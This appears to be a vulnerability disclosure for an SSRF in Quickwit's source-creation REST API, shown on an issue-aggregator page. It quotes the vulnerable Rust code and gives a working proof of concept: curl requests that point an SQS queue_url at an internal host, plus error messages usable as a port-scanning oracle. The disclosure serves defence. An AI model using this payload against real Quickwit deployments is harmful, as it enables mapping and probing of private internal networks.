Server-Side Request Forgery via unvalidated SQS source `queue_url` in the create-source REST API
维护者通常 1 天内回复
@trinity-1686a 已经在做这个了。
开始于 2026年8月18日。
评估
这个 Issue 还没有评估数据。
描述
reported on 21 June 2026 via email and then via https://github.com/quickwit-oss/quickwit/security/advisories/GHSA-4vcq-7f93-fpj7.
Summary
The POST /api/v1/indexes/{index_id}/sources REST endpoint accepts a file source that uses SQS notifications. The queue_url field of that source is used verbatim as the HTTP endpoint of the AWS SQS client, with no host, scheme, or destination validation. Creating such a source triggers a synchronous connectivity check that issues an HTTP request to whatever host and port the caller put in queue_url. An attacker who can reach the Quickwit REST API (which in the default OSS deployment has no authentication) can therefore force the Quickwit node to send server-side requests to arbitrary internal hosts and ports. The internal service response is reflected back through the API error message, and open, closed, and filtered ports produce distinct errors, making this a usable internal network scanner and service-fingerprinting primitive.
Details
The create-source handler only rejects the local Filepath file source. It does not restrict the SQS notification file source:
quickwit/quickwit-serve/src/index_api/source_resource.rs
fn check_source_type(source_params: &SourceParams) -> Result<(), IndexServiceError> {
if let SourceParams::File(FileSourceParams::Filepath(_)) = source_params {
return Err(IndexServiceError::InvalidConfig(anyhow::anyhow!(
"path based file sources are limited to a local usage, ..."
)));
}
Ok(())
}
SourceParams::File(FileSourceParams::Notifications(Sqs(..))) passes this check and is accepted.
add_source then runs a connectivity check synchronously, inside the same HTTP request, before persisting anything:
quickwit/quickwit-index-management/src/index.rs
pub async fn add_source(&mut self, index_uid: IndexUid, source_config: SourceConfig)
-> Result<SourceConfig, IndexServiceError> {
...
check_source_connectivity(&self.storage_resolver, &source_config)
.await
.map_err(IndexServiceError::InvalidConfig)?;
...
}
check_source_connectivity calls the SQS connectivity check with the caller-supplied queue_url:
quickwit/quickwit-indexing/src/source/mod.rs
SourceParams::File(FileSourceParams::Notifications(FileSourceNotification::Sqs(sqs_config))) => {
#[cfg(feature = "sqs")]
{
queue_sources::sqs_queue::check_connectivity(&sqs_config.queue_url).await?;
Ok(())
}
}
The SQS endpoint is then derived from queue_url with a permissive regex that accepts any http(s)://host[:port], and is set as the SDK endpoint URL:
quickwit/quickwit-indexing/src/source/queue_sources/sqs_queue.rs
fn queue_url_endpoint(queue_url: &str) -> anyhow::Result<String> {
let re = Regex::new(r"(^https?://[^/]+)").unwrap();
let caps = re.captures(queue_url).context("Invalid queue URL")?;
let endpoint_str = caps.get(1).context("Invalid queue URL")?.as_str();
Ok(endpoint_str.to_string())
}
pub async fn get_sqs_client(queue_url: &str) -> anyhow::Result<Client> {
let mut sqs_config = preconfigured_builder().await?;
let inferred_region = queue_url_region(queue_url).unwrap_or(DEFAULT_AWS_REGION);
let inferred_endpoint = queue_url_endpoint(queue_url)?;
sqs_config.set_region(Some(inferred_region));
sqs_config.set_endpoint_url(Some(inferred_endpoint)); // attacker-controlled
Ok(Client::from_conf(sqs_config.build()))
}
pub(crate) async fn check_connectivity(queue_url: &str) -> anyhow::Result<()> {
let client = get_sqs_client(queue_url).await?;
client.get_queue_attributes().queue_url(queue_url).send().await?; // SSRF egress
Ok(())
}
There is no allowlist of permitted endpoints, no restriction to the real *.amazonaws.com SQS hostnames, and no block of private, loopback, or link-local address ranges. The endpoint host and port are taken directly from attacker input.
The SQS source is compiled into every official build. The Dockerfile builds with CARGO_FEATURES=release-feature-set, and every release feature set includes quickwit-indexing/sqs:
quickwit/quickwit-cli/Cargo.toml
release-feature-set = [
...
"quickwit-indexing/sqs",
...
]
The error from the internal request is surfaced to the caller as IndexServiceError::InvalidConfig, which is returned in the HTTP response body. This reflects connection state and partial response content (for example a parse error quoting the first unexpected byte of the internal service response), giving an oracle for port state and service type.
PoC
This was validated against the official quickwit/quickwit:edge image.
- Run a single Quickwit node. On a real AWS deployment the node already has IAM credentials; to reproduce off-AWS, provide any non-empty static credentials (they only need to exist so the SDK signs the request, the attacker-controlled target does not validate the signature):
docker run -d --name qw \
-e AWS_ACCESS_KEY_ID=AKIADUMMYDUMMYDUMMY \
-e AWS_SECRET_ACCESS_KEY=dummydummydummydummydummydummydummydummy \
-e AWS_REGION=us-east-1 \
-p 127.0.0.1:7280:7280 quickwit/quickwit:edge run
- Start a listener that represents an internal-only service the API caller should not be able to reach (here on the docker host, reachable from the container at 172.17.0.1):
python3 -c '
import socket
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("0.0.0.0",9999)); s.listen(1)
print("listening")
c,a=s.accept(); print(c.recv(4096).decode("latin1"))
'
- Create an index, then create the malicious source. The
queue_urlpoints at the internal target:
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes <<'EOF'
version: 0.8
index_id: ssrf-test
doc_mapping:
field_mappings:
- name: body
type: text
EOF
curl -s -XPOST -H "Content-Type: application/yaml" --data-binary @- \
http://127.0.0.1:7280/api/v1/indexes/ssrf-test/sources <<'EOF'
version: 0.8
source_id: ssrf-sqs
source_type: file
num_pipelines: 1
params:
notifications:
- type: sqs
queue_url: http://172.17.0.1:9999/000000000000/internal-queue
message_type: raw_uri
EOF
- Observed result. The listener receives a real request originating from the Quickwit node:
POST / HTTP/1.1
content-type: application/x-amz-json-1.0
x-amz-target: AmazonSQS.GetQueueAttributes
user-agent: aws-sdk-rust/1.3.15 os/linux lang/rust/1.95.0
host: 172.17.0.1:9999
{"QueueUrl":"http://172.17.0.1:9999/000000000000/internal-queue"}
- Oracle. The API response distinguishes target state:
- Open port returning non-SQS data:
service error: unhandled error: Error at offset 0: unexpected token '<'(reflects the internal response content). - Closed port:
dispatch failure: io error: client error (Connect): tcp connect error: Connection refused (os error 111). - Filtered or unroutable host: request hangs until timeout.
Iterating the host and port lets an API caller map internal services reachable from the Quickwit node.
- 主要语言
- Rust
- 星标
- 11.8k
- 派生
- 628
- 平均合并
- 2 天 22 小时
- 30 天内合并 PR
- 50
环境准备
在浏览器里用你自己的 GitHub 账号启动这个项目的开发容器。
- 提供 Dockerfile 或 Docker Compose 文件
- 有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
quickwit-oss/quickwit 的其他 Issue
-
area:otel documentation
难度 2/5 1-3 小时 新手友好度 68/100
quickwit-oss/quickwit#6686 ·
维护者通常 1 天内回复
-
Add some examples of requests in the REST API reference docs可能已有人在做 @Cunninger 于 88 天前认领。 未关闭enhancement good first issue
难度 2/5 1-3 小时 新手友好度 78/100
quickwit-oss/quickwit#4266 · 1 条评论 ·
维护者通常 1 天内回复
-
documentation
难度 1/5 1 小时以内 新手友好度 65/100
quickwit-oss/quickwit#3872 ·
维护者通常 1 天内回复
-
documentation
难度 1/5 1 小时以内 新手友好度 65/100
quickwit-oss/quickwit#3666 ·
维护者通常 1 天内回复
-
enhancement
难度 2/5 1-3 小时 新手友好度 65/100
quickwit-oss/quickwit#2769 ·
维护者通常 1 天内回复
查看 quickwit-oss/quickwit 的全部 Issue
相似的 Issue
-
[M09] Silence parser misreads ffmpeg times in scientific notation (6.25e-05 → 6.25 s)可能已有人在做 @G-darshan-32 今天认领。 未关闭bug
难度 2/5 1-3 小时 新手友好度 78/100
clipy-recorder/clipy#164 · 1 条评论 ·
-
p2 ready-mac
难度 2/5 1-3 小时 新手友好度 75/100
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 82/100
quickwit-oss/tantivy#3299 ·
维护者通常 1 天内回复
-
P2
难度 2/5 1-3 小时 新手友好度 72/100
维护者通常 1 天内回复
-
`stream enable` fails with "already enabled" on every fresh session since streaming became always-on未关闭
难度 2/5 1-3 小时 新手友好度 70/100
vercel-labs/agent-browser#2797 ·
维护者通常 1 天内回复